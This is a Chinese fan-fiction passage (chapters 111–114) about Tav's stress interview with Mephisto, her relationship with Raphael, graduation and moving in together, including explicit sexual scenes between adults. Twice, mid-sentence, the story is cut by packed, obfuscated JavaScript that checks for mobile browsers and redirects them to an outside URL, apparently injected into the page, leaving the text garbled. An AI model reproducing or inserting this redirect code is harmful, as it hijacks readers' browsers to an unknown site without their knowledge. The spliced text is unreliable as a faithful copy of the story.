“不完全是。” . 111.压力 果然有部分原因是因为她。 塔夫没有对这回答感到意外,却还是有些心情复杂,拉斐尔已经又说:“对于你反感的人和事,有能力反对而不作为,就是在支持对方。” 她下意识不赞同:“但讨厌一个人和反对他的一切行为是两码事。” “我同意,不过二者也是相互联系的,没办法分得那么清。” 拉斐尔继续不疾不徐道,“对于这件事来说,戈塔什试图获得爵位,攫取更多权力。他的权力越大,行为就可能对更多人产生影响。你知道他的道德水平,大概也能推测出他的‘影响’会是什么。而阻止或者起码拖延戈塔什得到这种权力,对我来说并不困难。” 见塔夫受他一番话影响,思索重心偏移,拉斐尔忍不住微笑。 他需要让塔夫越来越习惯于把他的力量当成她自己的一部分。 二人又讨论几个来回,塔夫忽然问:“这算是政治上的决定吧。你不是需要保持中立吗?不会因此和其他人交恶吗?” 哪怕知道这其实也算是塔夫的拒绝,拉斐尔还是因为她的关切心里一喜,面上则不动声色,顺便借机把话题更加转向政治。 戈塔什自然有其支持者。然而除了寻求权力与利益,人也会通过政治来表达自己的价值观和身份认同。拉斐尔最后说:“我不愿意看到戈塔什这种出生底层、不择手段向上爬的人成为贵族,也是因为不想和他一起被相提并论。” 塔夫怔了半响,点点头。 她不免想起二人第一次一起来博德之门的时候。 也许她有意忽视这一点,但拉斐尔始终是一位贵族,她的想法也一直没有改变。 掌握的权力人会为了巩固自己的地位,削弱别人反对自己的能力。这可以应用在戈塔什身上——如果他真的获得权力,阻止或取代他会变得越来越困难。 但对其他人,包括拉斐尔,还有她自己,似乎也同样适用。 可是不知为什么,她没能向拉斐尔说出口。 大概是因为她同样不想失去已经拥有的东西,哪怕拉斐尔是个独立的人,她没办法真的拥有他。 . 回到学校后,塔夫向影心说了这个想法,不过没有提及任何具体的人或事。 影心的评价一般都很是尖刻,这次却难得温和:“什么事都有两面,包括权力。”接着她又问塔夫有没有兴趣和哈尔辛见一面,“你之前提起实习,哈尔辛父母的一位朋友,似乎在博德之门附近经营一家私人诊所。” “是内蒂医师吗?” “你听说过她?” “我昨天刚见过她!”塔夫惊喜,把与内蒂聊天的事告诉影心。她也有同样的反应:“你们简直像是命中注定一般!”这用词让塔夫噗嗤笑出声。 . 于是,塔夫给内蒂寄出正式答复,很快收到对方热情洋溢的回信。 而虽然这件事已经定了下来,她仍然会与哈尔辛和影心小聚,又干脆邀请拉斐尔,准备来次四人约会。 拉斐尔因为对方处于开放式关系的缘故,似乎有些警惕,这让塔夫再次好笑起来:“哈尔辛和影心又不会要求每个人和他们一样。他们都很尊重别人对感情的观点!” 事实上,虽然二人“开放”,但关系十分稳定牢固,塔夫也始终觉得影心在很多地方比自己要成熟。 ——上学期最后,影心把家里的情况告诉了哈尔辛。 他的反应很值得信赖,二人之间的沟通和支持也如往常一样妥帖。而共同经历这件大事后,他们坐在一起考虑一番,决定把彼此作为伴侣中的第一顺位,为此还很正式地推敲了协议,郑重地签了字。 “但还是有第二或者第三。”拉斐尔不客气地说,“如果只有彼此,对方总会是第一位。比如我们。” 塔夫更好笑了,心想影心和哈尔辛正是因为希望对方可以享受更多其他关系,所以才选择开放。不过她与拉斐尔提过这事后更仔细地想了想,觉得自己大概没办法平衡处理好,也没有这么多精力,还是单一的更适合自己。 唔,目前的自己。 她不过思索这一小会,拉斐尔已经似笑非笑阴阳怪气地追问:“是这样吗?” 塔夫忍不住瞥拉斐尔一眼。不过他看上去不太像是阴阳怪气,倒更像是紧张。于是她还是抱住他:“当然。”又吻吻他,“我爱你。” 拉斐尔哼哼一声,搂着她一会才低声回:“我也爱你。”接着更小声嘟囔,“只有你。” 她能够大方表达出口后,拉斐尔反而忸怩起来。塔夫有些好笑又觉得他别扭得挺可爱:“所以你到底要不要一起去四人约会?” “当然。毕竟哪怕我不去,你自己也会与他们见面。”拉斐尔意有所指地补充上一句,“存在一定风险。” 塔夫决定收回自己之前的评价并给了拉斐尔一个大白眼。 . 约会地点在冲萨河上。 划双人双桨赛艇。 下水前,影心先向拉斐尔再次道谢——他去年冬天为她推荐了几个提供研究员奖学金的项目。两位姑娘熟悉如何划船后,不知是谁先提议的,四人开始了各种排列组合之下的比赛。 无论是情侣对抗,男女对抗,还是最后混搭…… 都是有哈尔辛的一条船获胜! 塔夫有些担心拉斐尔会介意自己和哈尔辛一队,不过他看上去接受良好,回到岸上后还替她问起和当初类似的那个问题: 哈尔辛为什么选择来博得安大学,否则安苏不会连续三年(很快就会是四年)没有赢过一次。 “因为影心。”哈尔辛很干脆,没有任何遮掩。 “谢谢。”影心笑着回。哈尔辛也弯起唇,单手环住影心轻轻抱了下。 塔夫略微有些吃惊,拉斐尔则若有所思。 而至于影心为什么来博得安大学:“我父母允许我念大学,不过前提是必须读神学院。”所以她其实没有太多选择,博得安大学是其中最好的,影心耸耸肩又说, “虽然现在我和父母因为未来是否成为牧师仍在僵持,他们也并不喜欢我与哈尔辛的关系——很大程度上是他始终支持我的决定。但我知道他们会再次让步的,只是需要些时间和技巧。” 哈尔辛这时补充一句,他会一直陪着影心,而且感激她给自己这个机会。 拉斐尔看上去很是感同身受,握住塔夫的手轻轻捏了起来。 …… 这次约会结束后,塔夫有些犹豫地问影心,当哈尔辛直接说“因为她”,“陪着她”的时候,她是否会感到…… “我说不太好那种感觉,大概是压力,甚至是某种限制?” “因为对方是哈尔辛,所以没有。”但影心理解她这样问的原因,又补充说,“他并不是‘为了我’。做出最终决定的还是他自己,他便会承担后果,他很明确地告诉了我这一点。 “不过,我当然会感激他。而且这种压力对我来说更像是一种期待,虽然我不是必须回应,却也是我的动力之一。” 塔夫慢慢点点头。 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“你当时居然没有告诉我你还入围了最高奖!”内蒂摆出一脸不可置信的表情,又笑着鼓励塔夫,“面试的时候不用太紧张。” 面试官态度都很和蔼或者风趣,宴会氛围十分轻松,简直不像是在面试,更像是提前庆祝她们获奖,时不时能听到笑声。 如果拉斐尔没有失约的话,塔夫大概会更加愉快。 . 大约半小时后,面试官陆续离开宴会,面试正式开始。 四位候选人被带入房间。 不到五分钟,一位卓尔女生返回,下巴微微颤抖,瞳孔变成明亮的紫红色,明显在压抑愤怒。她径直走到长桌旁,胡吃海喝起来,又突然流下两行眼泪。 宴会大厅顿时鸦雀无声,只能听到卓尔女生响亮的咀嚼和吞咽。工作人员叫出下一位面试者的号码后,房间瞬间被嗡嗡的练习声再次淹没。 …… 面试继续进行着。 某一时段接连两位返回的候选人看上去都很乐观自信,令等待的人升起希望,但不过几分钟后就再次破灭。 一位高大的半兽人男生冲了出来,脸上是四行湿润,抽着鼻子哽咽: “这简直是一场人身羞辱!……呜呜……我要告诉我爸爸!!” 他无视上前询问安慰的工作人员,直接哭着离开了。 还没有面试的人不免陷入更大的紧张中。 第一组的四个人也许是最不幸的,因为他们不知道将面临的是压力面试,没有任何心里准备。 但另一方面,在得知未来的凄惨后,之后面试的人等待得越久就越紧张。 塔夫甚至说不好到底哪种更糟。 …… 人越来越少,塔夫终于听到自己的号码,做了一个深呼吸,来到面试房间。 厚重木门后是一间中等大小的房间,只有一张长桌和几把扶手椅。塔夫稳步走到长桌对面单独的椅子中,坐下望向桌后的四位面试官。 内蒂医师和一位矮人婆婆。她们板着脸,朝她几不可察地点了下头。 刚才并没有见到的白色龙裔,邪念。他打了个大大的哈欠,似乎没有认出她。 以及拉斐尔—— ——的父亲。 梅菲斯特。 . 112.面试 梅菲斯特对塔夫缓缓露出一个微笑。 然而并不友善。 正相反,那双薄唇的弧度看上去既傲慢又充满恶意,和他的眼神一样。 塔夫狠狠掐了一下自己的指尖,重新做了一个深呼吸:“你们好。我的名字是……” “我们还没有请你开始呢,年轻的小姐。”梅菲斯特直接打断她。 邪念嗤笑一声,在面前的羊皮纸上写了什么。内蒂和矮人婆婆对视一眼,交换了一个塔夫看不懂的眼神。 她不由自主地咽了咽口水,在安静的房间里格外响亮。 . 她面临的果然也是压力面试。 从自我介绍开始,塔夫就疲于应对。 龙裔邪念的问题几乎像在朝她吐着分叉的蛇信:“如果申请最后失败了,你认为会是什么原因呢?” 矮人婆婆态度还算温和,但问题角度是另一个方向的刁钻:“如果你获奖后发现另一个人比你更需要,你会愿意把奖学金让给对方吗?” 梅菲斯特更是时不时地打断她: “说得太慢了,你可以快点进入重点吗?” “这不是我想听到的回答,你有半分钟重新组织一下思路。” 就连内蒂医师的提问也很一阵见血:“关于你领导能力和组织能力的推荐信与医学院没有任何关系,这是什么原因?” 不过这个问题倒是塔夫特意准备过的,顺利解释几句,邪念几乎是立刻补充问:“你难道没有更好更有力还与专业相关的推荐人吗?这让我不得不怀疑你的能力和选择医学院的动机。” 塔夫再次精神一振,从动机角度出发,开始往练习过无数次的个人愿景陈述上引。 也许是因为刚才的压力,她讲述自己小时候的经历时情绪很是饱满。内蒂和矮人婆婆再次默默对视一眼,邪念似乎也在认真倾听。 塔夫终于能够完整说完一段回答,稍稍喘了口气,正要继续,一个格外低沉磁性的声音响起: “你的悲惨经历也许的确惹人同情,年轻的小姐。” 梅菲斯特慢慢微笑起来,但语气明显是嘲弄, “说不定还能激发某些人心中的‘拯救者’或‘英雄主义’情结。不过这里并不是比惨,而是择优。”他似乎十分遗憾地摇摇头, “很可惜,我并没有看到‘你’本身的任何价值。” 塔夫怔住,脸颊一点点涨红,不可置信地盯了梅菲斯特一会,又缓缓望向另外三位面试官。 矮人婆婆清了下嗓子,像是在提醒她:“这也是一个问题。” 塔夫回过神,重新看向梅菲斯特,他的表情仍明显是“这便是他的最终结论”。塔夫心脏一下子跳得飞快,又升起一股愤怒: “我现在在这里便是一种价值! “从福利院,到农场,到博得安大学,直到现在入围费伦最高奖。每一步,都体现了我的价值!” 她深吸一口气, “我自然知道这其中也有很多幸运的成分,所以我希望这不仅仅只是我自己的运气,而是能够把这一切传递下去。 “也许这听上去像是一种陈词滥调,但我希望每个孩子都能有机会健康快乐地长大,得到足够的支持,哪怕没有能力达成她们的最终理想,也至少有勇气和底气去尝试实现她们的潜能……就和我一样。 “这也是我为什么选择读医学院,并认为我值得获得最高奖的原因,之一。” 内蒂朝她轻轻点了点头。 “勇气?” 梅菲斯特慢慢评价道,声音更加冰冷, “没有能力却硬要尝试,这听上去更是不负责任的执念。而很多时候,明智的放弃,要胜过盲目的执着。 “用不切实际的目标掩饰无能,看似高尚的勇气,不过是不愿意接受普通和平庸的现实罢了。将自己——也许还有身边的人——拽入徒劳而又危险的漩涡,这可是比不作为更具有破坏性。” 塔夫又一次狠狠掐了下指尖,冲梅菲斯特怒目而视。 这真的是压力测试,而不是针对她本人含沙射影地攻击甚至威胁吗!? 梅菲斯特平静地回视她:“那么,你的回答是什么?” “我的回答?”塔夫这次直接呛声反问回去,“你的问题是什么?” “你听到了我的问题。”梅菲斯特声音很低,语速放慢,压迫感却徒然增加。 “哈!”塔夫冷笑一声。 她是多久没有听到过这句话了!真是不好意思,除了一点怀旧之情,她一点威胁都没感觉到呢! “咳咳咳!!”这个时候出面打圆场的居然是邪念, “那不如就让我们来听一听,你的这个目标到底有多实际可行。你是不是真的有计划和准备,而不是只是在凭空幻想。” 塔夫长长呼出一口气,开始介绍起来。 …… 塔夫离开房间时,脸颊通红,眼睛因为专注和愤怒格外明亮,却也因此感到像是大病一场后的虚脱。 她灌进两杯放得太久已经变成室温的饮料,又听一遍工作人员请她耐心等待通知后,离开了校友俱乐部。 一出门却见到拉斐尔。 “塔夫!”他迎了上来。 塔夫忍不住嗤笑一声:“原来又是这样。这可真是一个配套的惊喜。” 拉斐尔一怔,已经反应过来:“你见到了我父亲。” 塔夫不再说话,直接沿冲萨河往回走,拉斐尔跟在她身后,向她解释这次的“保密”面试官是评审委员会特意请来的压力面试官,与其他面试官一起随机面试,而他父亲也是其中之一。 “随机?哈!真是好巧!”塔夫讥诮,“而这就是你没有出现的原因?重新回到你父亲怀里做他的乖宝宝?” “塔夫!”拉斐尔声音一下提高。 塔夫停住脚步:“你现在真的不需要回去找他吗?” 拉斐尔叹口气,用最简单的话飞快道:“我不知道他会来。在俱乐部外看到他。试图阻止他。” “你知道他会做什么?” “我……可以推测出。” “真可惜。”塔夫模仿梅菲斯特的语气,“你并没有做到。你现在应该也已经知道了吧,你父亲正是我的面试官!” 她语速越来越快,越来越讽刺, “你为什么不说,不过是医学院几年的学费罢了!你可以轻松替我负担,结果也是一样的呢?” 拉斐尔忽然上前,把她紧紧困在怀里:“塔夫。请别这样说。我知道这不一样。” 塔夫被拉斐尔的气息和体温包围,听到他响亮的心跳。她仍一动不动站在那里,拉斐尔亲吻她的头发,低声说:“你知道的,我愿意为你做任何事。” 塔夫心里升起一阵近乎残酷的戏谑: 没有能力却硬要尝试?你居然想不到这点吗?梅菲斯特。你的儿子其实也可以属于我的能力范围呢。 她又笑了一声:“我的面试其实挺顺利。甚至因为你父亲,我还超常发挥了。更何况他毕竟只是四位面试官之一,如果我没有能力让另外三人反对他明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755769|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不公正的态度,那我愿意接受‘任何’结果。” 拉斐尔稍稍松手垂眼望着她,似乎有些不太确定她的态度。 “不过我的确还是很生气。”塔夫胳膊攀上他的肩膀,“你真的愿意做‘任何’事?” …… 拉斐尔知道自己能够轻松挣开这束缚,因为塔夫只不过把领带绕过他手腕一圈又松松挂在床柱。这更像是一种象征性的“惩罚”。 如果这真的能被称为一种惩罚的话。 下一刻,他眼前也被遮挡。但塔夫依然系得很松,领带几乎是搭在他的鼻梁上,他微微仰起头便能从缝隙看到她。 塔夫正慢慢解开他的扣子,不知道在思索什么,更像是在观察他。拉斐尔涌上一股难以言喻的……本能的羞耻,干脆闭上眼睛。 她开始耐心地检查他的每一处,从头发眉毛睫毛,到鼻梁下巴甚至牙齿。她慢慢摸过他的耳朵,顺着脖子一侧抚向肩膀和锁骨。他感到她的发丝擦过皮肤,她俯下身,亲吻他的脖子,柔软的嘴唇和湿润的舌头在喉结处打转。 有点痒,又很舒服,她说过很喜欢他的声音,甚至连喉结也很喜欢吗……啊…… 她的指尖有些薄茧,继续在皮肤上划过,胸口,小腹,她沿着他的肌肉轮廓和起伏抚摸,似乎爱不释手。尽管闭着眼睛,他也能感到塔夫的视线。她对他的身体仍抱有欣赏和好奇吗。这想法本身就足以让他兴奋得头晕目眩,不由自主地挺起身,慢慢起了反应。 但塔夫恍若未见,手指贴着他身侧滑向大腿上结实的肌肉。 拉斐尔感到皮肤生出一层鸡皮疙瘩,心跳加速到无法忍耐,然而刚一动,就听到塔夫发出制止。 肌肤上手指的触感都消失了,拉斐尔忍不住叹息一声,沙哑到刺耳。 他立刻抿住唇。 微凉的手指重新点在他嘴唇上:“请别忍耐声音。”另一只手的手指却轻轻扫过,接着刮弹下又微微用力握住。 拉斐尔忽然理解了惩罚的含义,含住塔夫指尖。 …… 塔夫指尖触到濡湿,却说不好自己的感受。 没有太多情欲。她的身体没有任何变化,心跳并没有加快,甚至连脸颊都没有发烫。这整个过程更像是在欣赏一件可以完全属于自己的物品——也许是玩弄,以确认并加深自己对拉斐尔的掌控,并因此获得满足——这个突然出现的念头让她吓了一跳,一下子松开手,向后退了半身距离。 “塔夫?”迎接她的却是对方半张开的红润嘴唇,充满渴求的低哑声线。 …… 拉斐尔听到一阵轻柔的响声,是丝绸与皮肤接触时的特有的细腻而又光滑的声音。 吻落在了他的额头上。塔夫亲吻他的眉毛,隔着一层丝绸亲吻他的眼睛,接着是鼻骨,鼻尖,终于到嘴唇。拉斐尔从不知道自己会如此迫不及待。但吻很快就结束了,塔夫稍稍拉开距离。他仍能感到她的呼吸,近在咫尺。 她听上去有些不确定:“任何事?” “塔夫……”渴望压过了羞耻,“我属于你,塔夫。请……继续吻我。” 他终于尝到塔夫湿滑灵巧的舌头,心脏再次可怕地跳动起来,接着一阵口干舌燥,含住她的舌尖,伸出舌头探入她口腔中,贪婪地吞下她的每一滴涎液。 拉斐呼吸愈发急促,无法克制地轻轻呻吟出声:“塔夫……”他手腕上禁锢一松。然而不等他能够拥抱塔夫,下一刻又被压住。 塔夫嘴唇移到他耳旁,低声说:“自亵给我看。” . 113.毕业 “别紧张,你做得很不错。” “太慢了,快些进入重点。” 拉斐尔紧闭双眼,脸颊通红,塔夫落在自己耳旁的声音变得更加清晰。 柔和的鼓励,暗含挑逗的斥责。 但那句子和语气似乎有些熟悉。 拉斐尔手一抖,还是停了下来。 塔夫几乎是立刻问他为什么不再继续:“已经需要休息一下了吗?” 他办不到。 他知道她正在看着他。 他不喜欢。 他不想做。 只有他自己。 除了羞耻,他还感到一种近似出轨和背叛的刺痛。 可是拉斐尔无法说出口,只能摇了下头,朝塔夫伸出空着的右手手臂:“我想和你一起。” “那便不一样了。” “塔夫,我们一起。” “你说过,任何事。” “请至少,让我能够感受你……” 塔夫沉默片刻,还是躺到他身旁。拉斐尔立刻环住她,吃惊地发现她仍然穿戴完整。亚麻贴在他的皮肤上,有些粗糙。他手刚一动,塔夫扣住他手背又与他手指相交。他的右手便只能停在她髋骨,无法抚摸她的曲线或皮肤。 然而,哪怕体温只是隔着布料传来,就已经足够在拉斐尔尾椎燃起一股热意,令他一下再次难耐起来。塔夫轻轻咬着他的耳垂: “现在可以继续了吗。” 拉斐尔浑身仿佛被火焰包裹,重重喘出一口气,还是顺从了她的要求。 他感到塔夫在自己身旁用手肘撑起身子,几乎能看到她深褐色的眼睛注视着他的一举一动。他手指重新颤抖起来,低声说:“塔夫……” 他该怎么做…… “想象那是我的手。” 塔夫说完又环住他的左手。拉斐尔倒吸一口气,像是被塔夫带领着一般重新移动。起初很慢还有些小心,很快变得更加自信和肯定。 拉斐尔在眼前描绘着塔夫此时的表情,她湿润而又闪闪发光的眼睛,微微张开的嘴唇。拉斐尔忽然难以自持地喘息一声,甚至无法克制音量,又立刻咬住唇。 塔夫舔了舔他的牙齿,他松开口,塔夫却轻咬起他的嘴唇:“请让我听你的声音。”她的声音听上去也有些颤抖和沙哑,像是因为他而兴奋,“你知道的,我很喜欢。” 隐约的失控和无力感被能够满足塔夫的成就感取代,最开始的羞耻变成为爱而做出的牺牲。拉斐尔像是放弃一般:“塔夫……”很快,他眼前一片空白,耳边响起嗡鸣声。 . 塔夫看到拉斐尔重新抿住唇,克制着呼吸。但他却仍在她手中抽搐着颤抖,看上去如此脆弱。 她心理升起极大的愉悦和满足,手滑过拉斐尔濡湿的小腹继续向上停在他结实的胸口,那里起伏剧烈,仿佛下一刻心脏便能跳出胸膛。她解开拉斐尔眼前绸带,他却仍紧紧闭着眼睛,睫毛也在颤抖。 塔夫忽然被更大的怜爱淹没。 之前他的失约以及梅菲斯特带来的愤怒一下都消失了,塔夫重新贴在拉斐尔身旁,温柔地安抚他:“谢谢你。这对我来说真的很特别。”她亲吻他的唇角和脸颊,“我爱你,拉斐尔。” 拉斐尔睁开眼睛,眼尾泛红还有些湿润。 他疲倦地笑了下,身子似乎也放松一些,虽然仍然垂着眼睛,但侧过脸亲吻她的额头:“我也爱你,塔夫。”他顿了顿,声音沙哑却温柔,像是带着某种特别的安慰,“我刚才,其实,也很喜欢。” 塔夫心里蓦然一酸,紧紧抱住拉斐尔。 也许她依靠愤怒和不甘撑过了面试,但在能决定自己命运的力量面前,她还是感到无助和恐惧。她大概是想要重新获得一种掌控感,而且不仅仅只是对自己,还要对另一个独立自由的人。 不可避免地,她也把这当作是一种发泄似的报复。 她知道自己能够影响控制拉斐尔。她可以让他变得坦诚,脆弱,甚至落泪。可这让她感觉很好,也让她惊觉自己并没有比梅菲斯特更好。但拉斐尔是自愿屈服的,而她决定赦免他,这不仅仅解放了他,也拯救了自己。 塔夫拥抱着拉斐尔,直到他呼吸平复下来。她终于还是轻声向他道歉。 “我不会称之为惩罚或屈服,甚至形容为低头让步。”拉斐尔却说,“这是我们向彼此靠近的努力。” 塔夫思索片刻,撑起身重新吻吻他:“毕业后的这个夏天,我会一直在博德之门。” 拉斐尔望着她一会,忽然微笑起来:“我也是。” 塔夫忍不住跟着笑了:“那我们住在一起吧!” . 塔夫自然不会住到拉斐尔家里,谢天谢地他也没有这个打算,和她一起商量起来。 事实上几周前回复内蒂医师后,塔夫便开始留意租房子的事。 恰好影心毕业后也要搬去博德之门,两人一起合作找寻分享情报省了不少力气。不过影心最后决定住港口区,而塔夫准备直接住中城区离医学院近点的地方,开学后省去一次搬家。 虽然二人没办法再做室友,不过约好有空可以常聚。 眼下,塔夫已经有了几个选择,也和一位房东去过信,加入拉斐尔后又有了新的考虑: “从博德之门去博得安大学的法学院,是不是必须要骑马?” 拉斐尔立刻表示无妨,而且法学院的很多社交活动都会在博德之门。 接着不得不提到一个有些敏感的话题,钱。 塔夫莫名紧张起来,一咬牙,还是先告诉拉斐尔自己的预算范围是一万五千金币至两万金币,又飞快道:“这也是费伦最高奖中‘合理费用’的标准,其实已经相当慷慨。过去四年我还存下一笔额外生活费。” 拉斐尔明显怔住。 “我们之前旅行的时候我从没有提过,但是真的要一起生活的话,我希望……” 塔夫顿了下才说,“……我们能够更加平等。”她急着解释什么似的又补充, “当然,我也清楚我的预算有限,如果这意味着要降低你的标准的话,我们可以再看看。” “我的最高标准就是和你住在一起。”拉斐尔慢慢抚摸起塔夫的头发,“不过平等和完全对等是两回事。你不需要担心任何日常开销的问题。” 塔夫有些心急:“我会考虑这个,也是因为我想更认真更正式地和你在一起。” “可我们已经在一起一年了!”拉斐尔一脸不可置信,“我们都……!我们刚才……!还有之前……!我们现在难道不是在正式地交往吗?” “明明还有好几周才到一年!不不,这不是我想说的意思。”塔夫又好气又好笑,自尊心带来的别扭似乎少了许多,更直接地解释道, “因为我不想觉得是在依赖你。哪怕你不介意,长期下来我也肯定会觉得不平衡,指不定要做些什么强调自己的付出也同样重要,这对我们关系的稳定没好处。也许我们住一起之后,我的想法会发生改变。我们先这样来好吗?” 拉斐尔抿抿唇,视线移开又立刻重新望着她,接着笑得合不拢嘴。 塔夫忍不住捏捏他的脸颊:“我很严肃在说的!” 拉斐尔抱住她亲了好几下:“我会考虑你的预算。” 过了一会他又问, “你刚才的预算范围是一周?还是一个月?” 塔夫:“……” 塔夫:“是一整年!” 真可恶! . 不到一天,拉斐尔便找到一个十分合适的住处。 正是二人上学期在博德之门临时住过两晚的那栋小房子,离医学院不过十几分钟路程。 这让塔夫忍不住猜测拉斐尔早有计划。他沉默片刻,承认这的确是他当时考虑的原因,之一。塔夫心里不禁又涌上些复杂,最后只笑着说:“多亏你那时考虑得这么周到,这下省了好多力气。” 拉斐尔顿时一脸喜悦,吻吻她,展开合同。 因为带家具、每天提供午餐或晚餐一次,这处住址价格要比塔夫询价的几处高一些。 同时因为拉斐尔说服对方直接租四年,获得些折扣,价格又没有高出太多,可以说是非常合理。 加上二人上次在那里的记忆十分美好,甚至可以说是她的第一次…… 塔夫脸颊微微发烫,越看越满意,很快做出决定。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765678|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >拉斐尔一边卷好羊皮纸,一边在她耳边吹气:“我也已经等不及重新回到那天。” 塔夫笑着瞥他一眼,当天晚上,二人便提前重温了一次。 这次塔夫更加水到渠成,拉斐尔的修辞水平也更上一层楼,什么“仿佛红樱花瓣在春天的细雨中轻轻颤抖”啦,“蜜液比九狱陈酿几百年的美酒更诱人”啦。塔夫无奈要他别再用比喻了,这让她简直没办法专心。于是拉斐尔的话变得直白起来:“被撑得很满呢”,“那里缩得好厉害”,“真的这么舒服吗?” 塔夫的喘叫直接高了好几个分贝。 事后她愉快地仰面躺倒在拉斐尔身旁,表示果然更喜欢后面那种形式,以及偶尔主导一回还是有些累,今晚可以早点睡。 拉斐尔重新在她耳边吹气:“我们那天可不止这一次。” …… 幸福的时间过得飞快。 塔夫的最后一个期末也顺利结束,又到了一年一度的校友日。 贾希拉和卡菈克为参加她的毕业典礼提前来到博得安大学,于是同拉斐尔一起观看了她在第二天晚上的剧团正式演出。 卡菈克和拉斐尔在某些方面意外的十分合拍,一唱一和地得意向周围人介绍塔夫: “她是我妹妹/女朋友! “她小的时候就喜欢扮演不同的角色/她一直想要出演,为此努力练习了很久! “嗯?她扮演的是母亲。那具哪怕一动不动也独一无二的尸体。是不是演得非常棒啊!” 周围人:“……” 卡菈克:盯。 拉斐尔:盯。 周围人:“特别好!” 贾希拉:“噗!” . 校友日第三天,也即是塔夫和拉斐尔交往的“一周年”。 塔夫不得不向拉斐尔再出指出他在计数方面真的需要更多客观性,以及虽然她很想两人好好约会弥补错过的这一天,但妈妈和姐姐远道而来,她也想陪她们转转。 拉斐尔当然提出与她们一起,而且似乎早有准备,介绍风趣幽默。最后塔夫干脆加入妈妈和姐姐,变成拉斐尔一带三游览校园不说,她还是最捧场的那一个:“哇喔!原来还有这么一回事?我完全没听说过!你知道得可真多!” 最后卡菈克都有点无奈:“小锡兵你真的是在这里待了四年,马上就要毕业了吗?” . 毕业当天,校园主草坪。 临时搭起的舞台上挂着祝福语和金红二色的装饰,一排排座位排列整齐,分区清晰。 塔夫是优秀毕业生,坐在最前排左数第二个位置,回过头几乎找不见坐在全部毕业生后的妈妈和姐姐。但拉斐尔就在她身旁不远,相隔不过几个座位。 她看到拉斐尔的父亲梅菲斯特也在现场,在前方另一侧的嘉宾席,没有向她瞧一眼。 校长宣布毕业典礼开始后,由今年的嘉宾索姆将军致辞。 除了一开始老生常谈的几句恭喜,他大篇幅却是在说父母与子女之间复杂的关系,后来又开始扯选择爱与自由什么的,听上去很有些沉闷。 塔夫忍不住去瞧拉斐尔。 他居然听得很认真,几处还轻轻点头。也不知道是给索姆将军的礼貌反应,还是真的认同。不过他倾听别人说话时总是专注,看着十分讨人喜欢。 塔夫嘴角止不住上扬。 她盯得有点太久,拉斐尔注意到她的视线,微微侧脸朝她挑下眉毛。 塔夫抿住唇,重新望向索姆将军。 致辞近终点,索姆将军最后用仿佛是威胁的口吻,告诉大家一个好消息。 梅菲斯特·卡尼亚大公为今年毕业的每位毕业生都准备了一份礼物。 ——两张面值一千金币的支票。 现场一下因为这个意外惊喜沸腾起来。 “两千金币?!就这么直接给我们?!真的假的?!” “我可以旅游整整一个月!也许两个月!路上都不需要打零工了!” “这一定是因为拉斐尔毕业!” “女神啊,我们也太幸运了!” 然而,梅菲斯特对此有些额外的话要说。 . 114.同居 “不过,” 梅菲斯特露出微笑,视线锁向塔夫, “我有一个要求。” 塔夫不由自主地打了一个寒颤。 他会说什么?难道是关于她?和拉斐尔? 现场慢慢安静下来,气氛似乎也变得有些紧张不安。 直到针落可闻,梅菲斯特这才重新缓缓开口道:“把慷慨和善意传递下去。” 他要求收下支票的毕业生承诺,会在一年内将其中一张以拉斐尔·卡尼亚基金会的名义捐赠出去,捐赠对象则由他们自己决定。 ——不过两张支票都是不记名的,所以如果不这样做却也不会有任何后果。 欢呼声再次响起。 塔夫望向拉斐尔,他轻轻摇了摇头。 梅菲斯特是二人无话不谈中的禁忌,房间中的大象。 塔夫始终没有告诉拉斐尔面试那天的具体细节,正如她没有询问他当时是如何试图阻止他父亲。 而且后来她还多了一个避而不谈的原因,她泄愤“惩罚”拉斐尔时,更是直接用了梅菲斯特的话。 至于现在,塔夫绝不相信梅菲斯特回去一番细想后被自己打动,而是怀疑他此举是在对自己那天“传递下去”的讥讽,又深知对方一定会嘲弄她如此自作多情的想法。 …… 梅菲斯特在欢呼声中回到嘉宾席。 索姆将军的侍卫将一只大木箱搬到台上一侧,木箱里堆满装着支票的信封,再由佩戴家族徽记的工作人员负责递出。 校长几次请毕业生们安静些,但兴奋始终没有平息,反而有人大声催促起来。 于是毕业典礼便在一片讨论不绝声中进入下一个环节。 塔夫以最优等学业的成绩毕业。盖尔教授亲自为她颁发毕业证书:“恭喜,塔夫。” 校长则微笑着在一旁公布了另一个好消息:“塔夫同学也是今年费伦最高奖的获奖者之一!” 盖尔微微俯身对她眨了下眼睛:“我就知道你一定能行。” 塔夫笑着望向台下,家人和朋友们的欢呼声盖过了天降横财的喜悦讨论。影心和哈尔辛吹起响亮的口哨,菲拉、里萨、社团的伙伴们和相熟的同学们也都在替她叫好。 贾拉克站起身为她鼓掌,卡菈克的大吼响遍整个草坪:“那是我妹妹!” 拉斐尔也大声对她说:“我真为你骄傲!塔夫!” 塔夫从另一位工作人员手中接过信封,甚至回过头对梅菲斯特比了个清晰的口型:“谢谢你!” 她来到台下,与拉斐尔紧紧拥抱。 …… 那真是无比美妙的一天,标志着一个阶段的完美结束,也是一段崭新旅程的开始。以至于塔夫觉得事情会这样一直顺利下去。 而事实上也是如此。 接下来,一整个夏天都以那天同样的势头无比热烈地向前发展。 她与拉斐尔正式搬到一起,并像所有第一次住在一起的情侣那样,开始了许多—— 第一次。 ——抢地盘。 